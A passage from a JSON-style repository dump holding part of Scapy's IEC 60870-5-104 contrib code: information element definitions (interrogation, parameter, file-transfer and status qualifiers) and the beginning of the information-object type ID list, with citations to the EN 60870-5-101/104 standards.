'group 13 interrogation',\n        QOI_FLAG_GROUP_14_INTERROGATION: 'group 14 interrogation',\n        QOI_FLAG_GROUP_15_INTERROGATION: 'group 15 interrogation',\n        QOI_FLAG_GROUP_16_INTERROGATION: 'group 16 interrogation'\n    }\n\n    GENERATED_ATTRIBUTES = [\n        ('QOI_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', QOI_FLAGS, 1,\n         19),\n        ('QOI_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', QOI_FLAGS, 37,\n         63),\n        ('QOI_FLAG_PRIVATE_RESERVED', 'private reserved', QOI_FLAGS, 64, 255)\n    ]\n\n    informantion_element_fields = [\n        ByteEnumField('qoi', 0, QOI_FLAGS)\n    ]\n\n\n@_generate_attributes_and_dicts\nclass IEC104_IE_QCC:\n    \"\"\"\n    QCC - qualifier of counter interrogation command\n\n    EN 60870-5-101:2003, sec. 7.2.6.23 (p. 52)\n    \"\"\"\n\n    # request flags\n    RQT_FLAG_UNUSED = 0\n    RQT_FLAG_GROUP_1_COUNTER_INTERROGATION = 1\n    RQT_FLAG_GROUP_2_COUNTER_INTERROGATION = 2\n    RQT_FLAG_GROUP_3_COUNTER_INTERROGATION = 3\n    RQT_FLAG_GROUP_4_COUNTER_INTERROGATION = 4\n    RQT_FLAG_GENERAL_COUNTER_INTERROGATION = 5\n\n    RQT_FLAGS = {\n        RQT_FLAG_UNUSED: 'unused',\n        RQT_FLAG_GROUP_1_COUNTER_INTERROGATION: 'counter group 1 '\n                                                'interrogation',\n        RQT_FLAG_GROUP_2_COUNTER_INTERROGATION: 'counter group 2 '\n                                                'interrogation',\n        RQT_FLAG_GROUP_3_COUNTER_INTERROGATION: 'counter group 3 '\n                                                'interrogation',\n        RQT_FLAG_GROUP_4_COUNTER_INTERROGATION: 'counter group 4 '\n                                                'interrogation',\n        RQT_FLAG_GENERAL_COUNTER_INTERROGATION: 'general counter '\n                                                'interrogation',\n    }\n\n    GENERATED_ATTRIBUTES = [\n        ('RQT_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', RQT_FLAGS, 6,\n         31),\n        ('RQT_FLAG_PRIVATE_RESERVED', 'private reserved', RQT_FLAGS, 32, 63),\n    ]\n\n    FRZ_FLAG_QUERY = 0\n    FRZ_FLAG_SAVE_COUNTER_WITHOUT_RESET = 1\n    FRZ_FLAG_SAVE_COUNTER_AND_RESET = 2\n    FRZ_FLAG_COUNTER_RESET = 3\n\n    FRZ_FLAGS = {\n        FRZ_FLAG_QUERY: 'query',\n        FRZ_FLAG_SAVE_COUNTER_WITHOUT_RESET: 'save counter, no counter reset',\n        FRZ_FLAG_SAVE_COUNTER_AND_RESET: 'save counter and reset counter',\n        FRZ_FLAG_COUNTER_RESET: 'reset counter'\n    }\n\n    informantion_element_fields = [\n        BitEnumField('frz', 0, 2, FRZ_FLAGS),\n        BitEnumField('rqt', 0, 6, RQT_FLAGS)\n    ]\n\n\n@_generate_attributes_and_dicts\nclass IEC104_IE_QPM:\n    \"\"\"\n    QPM - qualifier of parameter of measured values\n\n    EN 60870-5-101:2003, sec. 7.2.6.24 (p. 53)\n    \"\"\"\n\n    KPA_FLAG_UNUSED = 0\n    KPA_FLAG_THRESHOLD = 1\n    KPA_FLAG_SMOOTHING_FACTOR = 2\n    KPA_FLAG_LOWER_LIMIT_FOR_MEAS_TX = 3\n    KPA_FLAG_UPPER_LIMIT_FOR_MEAS_TX = 4\n\n    KPA_FLAGS = {\n        KPA_FLAG_UNUSED: 'unused',\n        KPA_FLAG_THRESHOLD: 'threshold',\n        KPA_FLAG_SMOOTHING_FACTOR: 'smoothing factor',\n        KPA_FLAG_LOWER_LIMIT_FOR_MEAS_TX: 'lower limit meas transmit',\n        KPA_FLAG_UPPER_LIMIT_FOR_MEAS_TX: 'upper limit meas transmit'\n    }\n\n    GENERATED_ATTRIBUTES = [\n        ('KPA_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', KPA_FLAGS, 5,\n         31),\n        ('KPA_FLAG_PRIVATE_RESERVED', 'private reserved', KPA_FLAGS, 32, 63)\n    ]\n\n    LPC_FLAG_LOCAL_PARAMETER_MOT_CHANGED = 0\n    LPC_FLAG_LOCAL_PARAMETER_CHANGED = 1\n    LPC_FLAGS = {\n        LPC_FLAG_LOCAL_PARAMETER_MOT_CHANGED: 'local parameter not changed',\n        LPC_FLAG_LOCAL_PARAMETER_CHANGED: 'local parameter changed'\n    }\n\n    POP_FLAG_PARAM_EFFECTIVE = 0\n    POP_FLAG_PARAM_INEFFECTIVE = 1\n    POP_FLAGS = {\n        POP_FLAG_PARAM_EFFECTIVE: 'parameter effective',\n        POP_FLAG_PARAM_INEFFECTIVE: 'parameter ineffective',\n    }\n\n    informantion_element_fields = [\n        BitEnumField('pop', 0, 1, POP_FLAGS),  # usually unused, should be zero\n        BitEnumField('lpc', 0, 1, LPC_FLAGS),  # usually unused, should be zero\n        BitEnumField('kpa', 0, 6, KPA_FLAGS),\n    ]\n\n\n@_generate_attributes_and_dicts\nclass IEC104_IE_QPA:\n    \"\"\"\n    QPA - qualifier of parameter activation\n\n    EN 60870-5-101:2003, sec. 7.2.6.25 (p. 53)\n    \"\"\"\n    QPA_FLAG_UNUSED = 0\n    QPA_FLAG_ACT_DEACT_LOADED_PARAM_OA_0 = 1\n    QPA_FLAG_ACT_DEACT_LOADED_PARAM = 2\n    QPA_FLAG_ACT_DEACT_CYCLIC_TX = 3\n\n    QPA_FLAGS = {\n        QPA_FLAG_UNUSED: 'unused',\n        QPA_FLAG_ACT_DEACT_LOADED_PARAM_OA_0: 'act/deact loaded parameters '\n                                              'for object addr 0',\n        QPA_FLAG_ACT_DEACT_LOADED_PARAM: 'act/deact loaded parameters for '\n                                         'given object addr',\n        QPA_FLAG_ACT_DEACT_CYCLIC_TX: 'act/deact cyclic transfer of object '\n                                      'given by object addr',\n    }\n\n    GENERATED_ATTRIBUTES = [\n        ('QPA_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', QPA_FLAGS, 4,\n         127),\n        ('QPA_FLAG_PRIVATE_RESERVED', 'private reserved', QPA_FLAGS, 128, 255)\n    ]\n\n    informantion_element_fields = [\n        ByteEnumField('qpa', 0, QPA_FLAGS)\n    ]\n\n\n@_generate_attributes_and_dicts\nclass IEC104_IE_QRP:\n    \"\"\"\n    QRP - Qualifier of reset process command\n\n    EN 60870-5-101:2003, sec. 7.2.6.27 (p. 54)\n    \"\"\"\n    QRP_FLAG_UNUSED = 0\n    QRP_FLAG_GENERAL_PROCESS_RESET = 1\n    QRP_FLAG_RESET_EVENT_BUFFER = 2\n\n    QRP_FLAGS = {\n        QRP_FLAG_UNUSED: 'unsued',\n        QRP_FLAG_GENERAL_PROCESS_RESET: 'general process reset',\n        QRP_FLAG_RESET_EVENT_BUFFER: 'reset event buffer'\n    }\n\n    GENERATED_ATTRIBUTES = [\n        ('QRP_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', QRP_FLAGS, 3,\n         127),\n        ('QRP_FLAG_PRIVATE_RESERVED', 'private reserved', QRP_FLAGS, 128, 255),\n    ]\n\n    informantion_element_fields = [\n        ByteEnumField('qrp', 0, QRP_FLAGS)\n    ]\n\n\n@_generate_attributes_and_dicts\nclass IEC104_IE_FRQ:\n    \"\"\"\n    FRQ - file ready qualifier\n\n    EN 60870-5-101:2003, sec. 7.2.6.28 (p. 54)\n    \"\"\"\n    FR_FLAG_UNUSED = 0\n\n    FR_FLAGS = {\n        FR_FLAG_UNUSED: 'unused'\n    }\n\n    GENERATED_ATTRIBUTES = [\n        ('FR_FLAG_COMPATIBLE_RESERVED', 'compatible reserved',\n         FR_FLAGS, 1, 63),\n        ('FR_FLAG_PRIVATE_RESERVED', 'private reserved', FR_FLAGS, 64, 127),\n    ]\n\n    FRACK_FLAG_POSITIVE_ACK = 0\n    FRACK_FLAG_NEGATIVE_ACK = 1\n    FRACK_FLAGS = {\n        FRACK_FLAG_POSITIVE_ACK: 'positive ack',\n        FRACK_FLAG_NEGATIVE_ACK: 'negative ack'\n    }\n\n    informantion_element_fields = [\n        BitEnumField('fr_ack', 0, 1, FRACK_FLAGS),\n        BitEnumField('fr', 0, 7, FR_FLAGS)\n    ]\n\n\n@_generate_attributes_and_dicts\nclass IEC104_IE_SRQ:\n    \"\"\"\n    SRQ - sequence ready qualifier\n\n    EN 60870-5-101:2003, sec. 7.2.6.29 (p. 54)\n    \"\"\"\n    SR_FLAG_UNUSED = 0\n\n    SR_FLAGS = {\n        SR_FLAG_UNUSED: 'unused'\n    }\n\n    GENERATED_ATTRIBUTES = [\n        ('SR_FLAG_COMPATIBLE_RESERVED', 'compatible reserved',\n         SR_FLAGS, 1, 63),\n        ('SR_FLAG_PRIVATE_RESERVED', 'private reserved', SR_FLAGS, 64, 127),\n    ]\n\n    SLOAD_FLAG_SECTION_READY = 0\n    SLOAD_FLAG_SECTION_NOT_READY = 1\n    SLAOD_FLAGS = {\n        SLOAD_FLAG_SECTION_READY: 'section ready',\n        SLOAD_FLAG_SECTION_NOT_READY: 'section not ready'\n    }\n\n    informantion_element_fields = [\n        BitEnumField('section_load_state', 0, 1, SLAOD_FLAGS),\n        BitEnumField('sr', 0, 7, SR_FLAGS)\n    ]\n\n\n@_generate_attributes_and_dicts\nclass IEC104_IE_SCQ:\n    \"\"\"\n    SCQ - select and call qualifier\n\n    EN 60870-5-101:2003, sec. 7.2.6.30 (p. 55)\n    \"\"\"\n    SEL_CALL_FLAG_UNUSED = 0\n    SEL_CALL_FLAG_FILE_SELECT = 1\n    SEL_CALL_FLAG_FILE_REQUEST = 2\n    SEL_CALL_FLAG_FILE_ABORT = 3\n    SEL_CALL_FLAG_FILE_DELETE = 4\n    SEL_CALL_FLAG_SECTION_SELECTION = 5\n    SEL_CALL_FLAG_SECTION_REQUEST = 6\n    SEL_CALL_FLAG_SECTION_ABORT = 7\n\n    SEL_CALL_FLAGS = {\n        SEL_CALL_FLAG_UNUSED: 'unused',\n        SEL_CALL_FLAG_FILE_SELECT: 'file select',\n        SEL_CALL_FLAG_FILE_REQUEST: 'file request',\n        SEL_CALL_FLAG_FILE_ABORT: 'file abort',\n        SEL_CALL_FLAG_FILE_DELETE: 'file delete',\n        SEL_CALL_FLAG_SECTION_SELECTION: 'section selection',\n        SEL_CALL_FLAG_SECTION_REQUEST: 'section request',\n        SEL_CALL_FLAG_SECTION_ABORT: 'section abort'\n    }\n\n    SEL_CALL_ERR_FLAG_UNUSED = 0\n    SEL_CALL_ERR_FLAG_REQ_MEM_AREA_NO_AVAIL = 1\n    SEL_CALL_ERR_FLAG_INVALID_CHECKSUM = 2\n    SEL_CALL_ERR_FLAG_UNEXPECTED_COMMUNICATION_SERVICE = 3\n    SEL_CALL_ERR_FLAG_UNEXPECTED_FILENAME = 4\n    SEL_CALL_ERR_FLAG_UNEXPECTED_SECTION_NAME = 5\n    SEL_CALL_ERR_FLAG_COMPATIBLE_RESERVED_6 = 6\n    SEL_CALL_ERR_FLAG_COMPATIBLE_RESERVED_7 = 7\n    SEL_CALL_ERR_FLAG_COMPATIBLE_RESERVED_8 = 8\n    SEL_CALL_ERR_FLAG_COMPATIBLE_RESERVED_9 = 9\n    SEL_CALL_ERR_FLAG_COMPATIBLE_RESERVED_10 = 10\n    SEL_CALL_ERR_FLAG_PRIVATE_RESERVED_11 = 11\n    SEL_CALL_ERR_FLAG_PRIVATE_RESERVED_12 = 12\n    SEL_CALL_ERR_FLAG_PRIVATE_RESERVED_13 = 13\n    SEL_CALL_ERR_FLAG_PRIVATE_RESERVED_14 = 14\n    SEL_CALL_ERR_FLAG_PRIVATE_RESERVED_15 = 15\n\n    SEL_CALL_ERR_FLAGS = {\n        SEL_CALL_ERR_FLAG_UNUSED: 'unused',\n        SEL_CALL_ERR_FLAG_REQ_MEM_AREA_NO_AVAIL: 'requested memory area '\n                                                 'not available',\n        SEL_CALL_ERR_FLAG_INVALID_CHECKSUM: 'invalid checksum',\n        SEL_CALL_ERR_FLAG_UNEXPECTED_COMMUNICATION_SERVICE: 'unexpected '\n                                                            'communication '\n                                                            'service',\n        SEL_CALL_ERR_FLAG_UNEXPECTED_FILENAME: 'unexpected file name',\n        SEL_CALL_ERR_FLAG_UNEXPECTED_SECTION_NAME: 'unexpected section name'\n    }\n\n    GENERATED_ATTRIBUTES = [\n        ('SEL_CALL_FLAG_COMPATIBLE_RESERVED', 'compatible reserved',\n         SEL_CALL_FLAGS, 8, 10),\n        ('SEL_CALL_FLAG_PRIVATE_RESERVED', 'private reserved', SEL_CALL_FLAGS,\n         11, 15),\n        ('SEL_CALL_ERR_FLAG_COMPATIBLE_RESERVED', 'compatible reserved',\n         SEL_CALL_ERR_FLAGS, 6, 10),\n        ('SEL_CALL_ERR_FLAG_PRIVATE_RESERVED', 'private reserved',\n         SEL_CALL_ERR_FLAGS, 11, 15)\n    ]\n\n    informantion_element_fields = [\n        BitEnumField('errors', 0, 4, SEL_CALL_ERR_FLAGS),\n        BitEnumField('select_call', 0, 4, SEL_CALL_FLAGS)\n    ]\n\n\n@_generate_attributes_and_dicts\nclass IEC104_IE_LSQ:\n    \"\"\"\n    LSQ - last section or segment qualifier\n\n    EN 60870-5-101:2003, sec. 7.2.6.31 (p. 55)\n    \"\"\"\n    LSQ_FLAG_UNUSED = 0\n    LSQ_FLAG_FILE_TRANSFER_NO_ABORT = 1\n    LSQ_FLAG_FILE_TRANSFER_ABORT = 2\n    LSQ_FLAG_SECTION_TRANSFER_NO_ABORT = 3\n    LSQ_FLAG_SECTION_TRANSFER_ABORT = 4\n\n    LSQ_FLAGS = {\n        LSQ_FLAG_UNUSED: 'unused',\n        LSQ_FLAG_FILE_TRANSFER_NO_ABORT: 'file transfer - no abort',\n        LSQ_FLAG_FILE_TRANSFER_ABORT: 'file transfer - aborted',\n        LSQ_FLAG_SECTION_TRANSFER_NO_ABORT: 'section transfer - no abort',\n        LSQ_FLAG_SECTION_TRANSFER_ABORT: 'section transfer - aborted',\n    }\n\n    GENERATED_ATTRIBUTES = [\n        ('LSQ_FLAG_COMPATIBLE_RESERVED', 'compatible reserved', LSQ_FLAGS, 5,\n         127),\n        ('LSQ_FLAG_PRIVATE_RESERVED', 'private reserved', LSQ_FLAGS, 128, 255),\n    ]\n\n    informantion_element_fields = [\n        ByteEnumField('lsq', 0, LSQ_FLAGS)\n    ]\n\n\n@_generate_attributes_and_dicts\nclass IEC104_IE_AFQ:\n    \"\"\"\n    AFQ - acknowledge file or section qualifier\n\n    EN 60870-5-101:2003, sec. 7.2.6.32 (p. 55)\n    \"\"\"\n    ACK_FILE_OR_SEC_FLAG_UNUSED = 0\n    ACK_FILE_OR_SEC_FLAG_POSITIVE_ACK_FILE_TRANSFER = 1\n    ACK_FILE_OR_SEC_FLAG_NEGATIVE_ACK_FILE_TRANSFER = 2\n    ACK_FILE_OR_SEC_FLAG_POSITIVE_ACK_SECTION_TRANSFER = 3\n    ACK_FILE_OR_SEC_FLAG_NEGATIVE_ACK_SECTION_TRANSFER = 4\n\n    ACK_FILE_OR_SEC_FLAGS = {\n        ACK_FILE_OR_SEC_FLAG_UNUSED: 'unused',\n        ACK_FILE_OR_SEC_FLAG_POSITIVE_ACK_FILE_TRANSFER: 'positive acknowledge'\n                                                         ' file transfer',\n        ACK_FILE_OR_SEC_FLAG_NEGATIVE_ACK_FILE_TRANSFER: 'negative acknowledge'\n                                                         ' file transfer',\n        ACK_FILE_OR_SEC_FLAG_POSITIVE_ACK_SECTION_TRANSFER: 'positive '\n                                                            'acknowledge '\n                                                            'section transfer',\n        ACK_FILE_OR_SEC_FLAG_NEGATIVE_ACK_SECTION_TRANSFER: 'negative '\n                                                            'acknowledge '\n                                                            'section transfer'\n    }\n\n    ACK_FILE_OR_SEC_ERR_FLAG_UNUSED = 0\n    ACK_FILE_OR_SEC_ERR_FLAG_REQ_MEM_AREA_NO_AVAIL = 1\n    ACK_FILE_OR_SEC_ERR_FLAG_INVALID_CHECKSUM = 2\n    ACK_FILE_OR_SEC_ERR_FLAG_UNEXPECTED_COMMUNICATION_SERVICE = 3\n    ACK_FILE_OR_SEC_ERR_FLAG_UNEXPECTED_FILENAME = 4\n    ACK_FILE_OR_SEC_ERR_FLAG_UNEXPECTED_SECTION_NAME = 5\n\n    ACK_FILE_OR_SEC_ERR_FLAGS = {\n        ACK_FILE_OR_SEC_ERR_FLAG_UNUSED: 'unused',\n        ACK_FILE_OR_SEC_ERR_FLAG_REQ_MEM_AREA_NO_AVAIL: 'requested memory '\n                                                        'area not available',\n        ACK_FILE_OR_SEC_ERR_FLAG_INVALID_CHECKSUM: 'invalid checksum',\n        ACK_FILE_OR_SEC_ERR_FLAG_UNEXPECTED_COMMUNICATION_SERVICE: 'unexpected'\n                                                                   ' communica'\n                                                                   'tion '\n                                                                   'service',\n        ACK_FILE_OR_SEC_ERR_FLAG_UNEXPECTED_FILENAME: 'unexpected file name',\n        ACK_FILE_OR_SEC_ERR_FLAG_UNEXPECTED_SECTION_NAME: 'unexpected '\n                                                          'section name'\n    }\n\n    GENERATED_ATTRIBUTES = [\n        ('ACK_FILE_OR_SEC_FLAG_COMPATIBLE_RESERVED', 'compatible reserved',\n         ACK_FILE_OR_SEC_FLAGS, 5, 10),\n        ('ACK_FILE_OR_SEC_FLAG_PRIVATE_RESERVED', 'private reserved',\n         ACK_FILE_OR_SEC_FLAGS, 11, 15),\n\n        ('ACK_FILE_OR_SEC_ERR_FLAG_COMPATIBLE_RESERVED', 'compatible reserved',\n         ACK_FILE_OR_SEC_ERR_FLAGS, 6, 10),\n        ('ACK_FILE_OR_SEC_ERR_FLAG_PRIVATE_RESERVED', 'private reserved',\n         ACK_FILE_OR_SEC_ERR_FLAGS, 11, 15)\n    ]\n\n    informantion_element_fields = [\n        BitEnumField('errors', 0, 4, ACK_FILE_OR_SEC_ERR_FLAGS),\n        BitEnumField('ack_file_or_sec', 0, 4, ACK_FILE_OR_SEC_FLAGS)\n    ]\n\n\nclass IEC104_IE_NOF:\n    \"\"\"\n    NOF - name of file\n\n    EN 60870-5-101:2003, sec. 7.2.6.33 (p. 56)\n    \"\"\"\n    informantion_element_fields = [\n        LEShortField('file_name', 0)\n    ]\n\n\nclass IEC104_IE_NOS:\n    \"\"\"\n    NOS - name of section\n\n    EN 60870-5-101:2003, sec. 7.2.6.34 (p. 56)\n    \"\"\"\n    informantion_element_fields = [\n        ByteField('section_name', 0)\n    ]\n\n\nclass IEC104_IE_LOF:\n    \"\"\"\n    LOF - length of file or section\n\n    EN 60870-5-101:2003, sec. 7.2.6.35 (p. 55)\n    \"\"\"\n    informantion_element_fields = [\n        ThreeBytesField('file_length', 0)\n    ]\n\n\nclass IEC104_IE_LOS:\n    \"\"\"\n    LOS - length of segment\n\n    EN 60870-5-101:2003, sec. 7.2.6.36 (p. 56)\n    \"\"\"\n    informantion_element_fields = [\n        ByteField('segment_length', 0)\n    ]\n\n\nclass IEC104_IE_CHS:\n    \"\"\"\n    CHS - checksum\n\n    EN 60870-5-101:2003, sec. 7.2.6.37 (p. 56)\n    \"\"\"\n    informantion_element_fields = [\n        ByteField('checksum', 0)\n    ]\n\n\n@_generate_attributes_and_dicts\nclass IEC104_IE_SOF:\n    \"\"\"\n    SOF - status of file\n\n    EN 60870-5-101:2003, sec. 7.2.6.38 (p. 56)\n    \"\"\"\n    STATUS_FLAG_UNUSED = 0\n\n    STATUS_FLAGS = {\n        STATUS_FLAG_UNUSED: 'unused'\n    }\n\n    GENERATED_ATTRIBUTES = [\n        ('STATUS_FLAG_COMPATIBLE_RESERVED', 'compatible reserved',\n         STATUS_FLAGS, 1, 15),\n        ('STATUS_FLAG_PRIVATE_RESERVED', 'private reserved',\n         STATUS_FLAGS, 16, 32)\n    ]\n\n    LFD_FLAG_NEXT_FILE_OF_DIR_FOLLOWS = 0\n    LFD_FLAG_LAST_FILE_OF_DIR = 1\n    LFD_FLAGS = {\n        LFD_FLAG_NEXT_FILE_OF_DIR_FOLLOWS: 'next file of dir follows',\n        LFD_FLAG_LAST_FILE_OF_DIR: 'last file of dir'\n    }\n\n    FOR_FLAG_NAME_DEFINES_FILE = 0\n    FOR_FLAG_NAME_DEFINES_SUBDIR = 1\n    FOR_FLAGS = {\n        FOR_FLAG_NAME_DEFINES_FILE: 'name defines file',\n        FOR_FLAG_NAME_DEFINES_SUBDIR: 'name defines subdirectory'\n    }\n\n    FA_FLAG_FILE_WAITS_FOR_TRANSFER = 0\n    FA_FLAG_FILE_TRANSFER_IS_ACTIVE = 1\n    FA_FLAGS = {\n        FA_FLAG_FILE_WAITS_FOR_TRANSFER: 'file waits for transfer',\n        FA_FLAG_FILE_TRANSFER_IS_ACTIVE: 'transfer of file active'\n    }\n\n    informantion_element_fields = [\n        BitEnumField('fa', 0, 1, FA_FLAGS),\n        BitEnumField('for_', 0, 1, FOR_FLAGS),\n        BitEnumField('lfd', 0, 1, LFD_FLAGS),\n        BitEnumField('status', 0, 5, STATUS_FLAGS)\n    ]\n\n\n@_generate_attributes_and_dicts\nclass IEC104_IE_QOS:\n    \"\"\"\n    QOS - qualifier of set-point command\n\n    EN 60870-5-101:2003, sec. 7.2.6.39 (p. 57)\n    \"\"\"\n    QL_FLAG_UNUSED = 0\n\n    QL_FLAGS = {\n        QL_FLAG_UNUSED: 'unused'\n    }\n\n    GENERATED_ATTRIBUTES = [\n        ('QL_FLAG_COMPATIBLE_RESERVED', 'compatible reserved',\n         QL_FLAGS, 1, 63),\n        ('QL_FLAG_PRIVATE_RESERVED', 'private reserved',\n         QL_FLAGS, 64, 127)\n    ]\n\n    SE_FLAG_EXECUTE = 0\n    SE_FLAG_SELECT = 1\n    SE_FLAGS = {\n        SE_FLAG_EXECUTE: 'execute',\n        SE_FLAG_SELECT: 'select'\n    }\n\n    informantion_element_fields = [\n        BitEnumField('action', 0, 1, SE_FLAGS),\n        BitEnumField('ql', 0, 7, QL_FLAGS)\n    ]\n\n\nclass IEC104_IE_SCD:\n    \"\"\"\n    SCD - status and status change detection\n\n    EN 60870-5-101:2003, sec. 7.2.6.40 (p. 57)\n    \"\"\"\n    ST_FLAG_STATE_OFF = 0\n    ST_FLAG_STATE_ON = 1\n    ST_FLAGS = {\n        ST_FLAG_STATE_OFF: 'off',\n        ST_FLAG_STATE_ON: 'on'\n    }\n\n    CD_FLAG_STATE_NOT_CHANGED = 0\n    CD_FLAG_STATE_CHANGED = 1\n    CD_FLAGS = {\n        CD_FLAG_STATE_NOT_CHANGED: 'state not changed',\n        CD_FLAG_STATE_CHANGED: 'state changed'\n    }\n\n    informantion_element_fields = [\n        BitEnumField('cd_16', 0, 1, CD_FLAGS),\n        BitEnumField('cd_15', 0, 1, CD_FLAGS),\n        BitEnumField('cd_14', 0, 1, CD_FLAGS),\n        BitEnumField('cd_13', 0, 1, CD_FLAGS),\n        BitEnumField('cd_12', 0, 1, CD_FLAGS),\n        BitEnumField('cd_11', 0, 1, CD_FLAGS),\n        BitEnumField('cd_10', 0, 1, CD_FLAGS),\n        BitEnumField('cd_9', 0, 1, CD_FLAGS),\n        BitEnumField('cd_8', 0, 1, CD_FLAGS),\n        BitEnumField('cd_7', 0, 1, CD_FLAGS),\n        BitEnumField('cd_6', 0, 1, CD_FLAGS),\n        BitEnumField('cd_5', 0, 1, CD_FLAGS),\n        BitEnumField('cd_4', 0, 1, CD_FLAGS),\n        BitEnumField('cd_3', 0, 1, CD_FLAGS),\n        BitEnumField('cd_2', 0, 1, CD_FLAGS),\n        BitEnumField('cd_1', 0, 1, CD_FLAGS),\n        BitEnumField('st_16', 0, 1, ST_FLAGS),\n        BitEnumField('st_15', 0, 1, ST_FLAGS),\n        BitEnumField('st_14', 0, 1, ST_FLAGS),\n        BitEnumField('st_13', 0, 1, ST_FLAGS),\n        BitEnumField('st_12', 0, 1, ST_FLAGS),\n        BitEnumField('st_11', 0, 1, ST_FLAGS),\n        BitEnumField('st_10', 0, 1, ST_FLAGS),\n        BitEnumField('st_9', 0, 1, ST_FLAGS),\n        BitEnumField('st_8', 0, 1, ST_FLAGS),\n        BitEnumField('st_7', 0, 1, ST_FLAGS),\n        BitEnumField('st_6', 0, 1, ST_FLAGS),\n        BitEnumField('st_5', 0, 1, ST_FLAGS),\n        BitEnumField('st_4', 0, 1, ST_FLAGS),\n        BitEnumField('st_3', 0, 1, ST_FLAGS),\n        BitEnumField('st_2', 0, 1, ST_FLAGS),\n        BitEnumField('st_1', 0, 1, ST_FLAGS),\n    ]\n\n\nclass IEC104_IE_TSC:\n    \"\"\"\n    TSC - test sequence counter\n\n    EN 60870-5-104:2006, sec. 8.8 (p. 44)\n    \"\"\"\n    informantion_element_fields = [\n        LEShortField('tsc', 0)\n    ]\n"
  },
  {
    "path": "scapy/contrib/scada/iec104/iec104_information_objects.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Thomas Tannhaeuser <hecke@naberius.de>\n\n# scapy.contrib.description = IEC-60870-5-104 ASDU layers / IO definitions\n# scapy.contrib.status = loads\n\n\"\"\"\n    application service data units used by  IEC 60870-5-101/104\n    ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n    :description:\n\n        This module provides the information object (IO) definitions used\n        within the IEC 60870-5-101 and IEC 60870-5-104 protocol.\n\n        normative references:\n            - IEC 60870-5-101:2003 (sec. 7.3)\n            - IEC 60870-5-104:2006 (sec. 8))\n\n\n    :NOTES:\n        - this file contains all IO definitions from 101 and 104 - even if an\n          IO is not used within 104\n\"\"\"\nfrom scapy.config import conf\nfrom scapy.contrib.scada.iec104.iec104_fields import LEThreeBytesField\nfrom scapy.contrib.scada.iec104.iec104_information_elements import \\\n    IEC104_IE_SIQ, IEC104_IE_CP24TIME2A, IEC104_IE_DIQ, IEC104_IE_VTI, \\\n    IEC104_IE_QDS, IEC104_IE_BSI, IEC104_IE_NVA, IEC104_IE_SVA, \\\n    IEC104_IE_R32_IEEE_STD_754, IEC104_IE_BCR, IEC104_IE_CP16TIME2A_ELAPSED, \\\n    IEC104_IE_SEP, IEC104_IE_SPE, IEC104_IE_CP16TIME2A_PROTECTION_ACTIVE, \\\n    IEC104_IE_QDP, IEC104_IE_CP16TIME2A_PROTECTION_COMMAND, IEC104_IE_OCI, \\\n    IEC104_IE_SCD, IEC104_IE_CP56TIME2A, IEC104_IE_SCO, IEC104_IE_DCO, \\\n    IEC104_IE_RCO, IEC104_IE_QOS, IEC104_IE_QOI, IEC104_IE_QCC, \\\n    IEC104_IE_FBP, IEC104_IE_QRP, IEC104_IE_CP16TIME2A, IEC104_IE_QPM, \\\n    IEC104_IE_QPA, IEC104_IE_NOF, IEC104_IE_LOF, IEC104_IE_FRQ, \\\n    IEC104_IE_NOS, IEC104_IE_SRQ, IEC104_IE_SCQ, IEC104_IE_CHS, \\\n    IEC104_IE_LSQ, IEC104_IE_AFQ, IEC104_IE_SOF, IEC104_IE_COI, \\\n    IEC104_IE_CP56TIME2A_START_TIME, IEC104_IE_CP56TIME2A_STOP_TIME, \\\n    IEC104_IE_TSC\n\nfrom scapy.fields import XStrLenField, BitFieldLenField\nfrom scapy.packet import Packet\n\nIEC104_IO_ID_UNDEFINED = 0x00\nIEC104_IO_ID_M_SP_NA_1 = 0x01\nIEC104_IO_ID_M_SP_TA_1 = 0x02\nIEC104_IO_ID_M_DP_NA_1 = 0x03\nIEC104_IO_ID_M_DP_TA_1 = 0x04\nIEC104_IO_ID_M_ST_NA_1 = 0x05\nIEC104_IO_ID_M_ST_TA_1 = 0x06\nIEC104_IO_ID_M_BO_NA_1 = 0x07\nIEC104_IO_ID_M_BO_TA_1 = 0x08\nIEC104_IO_ID_M_ME_NA_1 = 0x09\nIEC104_IO_ID_M_ME_TA_1 = 0x0a\nIEC104_IO_ID_M_ME_NB_1 = 0x0b\nIEC104_IO_ID_M_ME_TB_1 = 0x0c\nIEC104_IO_ID_M_ME_NC_1 = 0x0d\nIEC104_IO_ID_M_ME_TC_1 = 0x0e\nIEC104_IO_ID_M_IT_NA_1 = 0x0f\nIEC104_IO_ID_M_IT_TA_1 = 0x10\nIEC104_IO_ID_M_EP_TA_1 = 0x11\nIEC104_IO_ID_M_EP_TB_1 = 0x12\nIEC104_IO_ID_M_EP_TC_1 = 0x13\nIEC104_IO_ID_M_PS_NA_1 = 0x14\nIEC104_IO_ID_M_ME_ND_1 = 0x15\nIEC104_IO_ID_M_SP_TB_1 = 0x1e\nIEC104_IO_ID_M_DP_TB_1 = 0x1f\nIEC104_IO_ID_M_ST_TB_1 = 0x20\nIEC104_IO_ID_M_BO_TB_1 = 0x21\nIEC104_IO_ID_M_ME_TD_1 = 0x22\nIEC104_IO_ID_M_ME_TE_1 = 0x23\nIEC104_IO_ID_M_ME_TF_1 = 0x24\nIEC104_IO_ID_M_IT_TB_1 = 0x25\nIEC104_IO_ID_M_EP_TD_1 = 0x26\nIEC104_IO_ID_M_EP_TE_1 = 0x27\nIEC104_IO_ID_M_EP_TF_1 = 0x28\nIEC104_IO_ID_C_SC_NA_1 = 0x2d\nIEC104_IO_ID_C_DC_NA_1 = 0x2e\nIEC104_IO_ID_C_RC_NA_1 = 0x2f\nIEC104_IO_ID_C_SE_NA_1 = 0x30\nIEC104_IO_ID_C_SE_NB_1 = 0x31\nIEC104_IO_ID_C_SE_NC_1 = 0x32\nIEC104_IO_ID_C_BO_NA_1 = 0x33\nIEC104_IO_ID_M_EI_NA_1 = 0x46\nIEC104_IO_ID_C_IC_NA_1 = 0x64\nIEC104_IO_ID_C_CI_NA_1 = 0x65\nIEC104_IO_ID_C_RD_NA_1 = 0x66\nIEC104_IO_ID_C_CS_NA_1 = 